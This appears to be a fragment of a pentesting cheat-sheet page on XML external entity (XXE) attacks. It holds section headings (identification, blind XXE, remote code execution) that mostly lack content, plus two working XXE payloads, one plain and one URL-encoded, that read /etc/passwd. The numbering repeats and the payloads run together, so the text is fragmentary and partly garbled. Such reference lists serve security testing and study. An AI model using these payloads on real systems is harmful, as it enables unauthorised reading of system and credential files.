XXE
1) Identification
2) Local File Disclosure
2) Reading sensitive files
/etc/passwd
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo><%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+[<!ENTITY+test+SYSTEM+'file%3a///etc/passwd'>]><root><user>%26test%3b</user></root>Read a custom file
Accessing local files
Blind XXE
XXE with Network Access
3) Read Source Code
4) Remote Code Execution
Last updated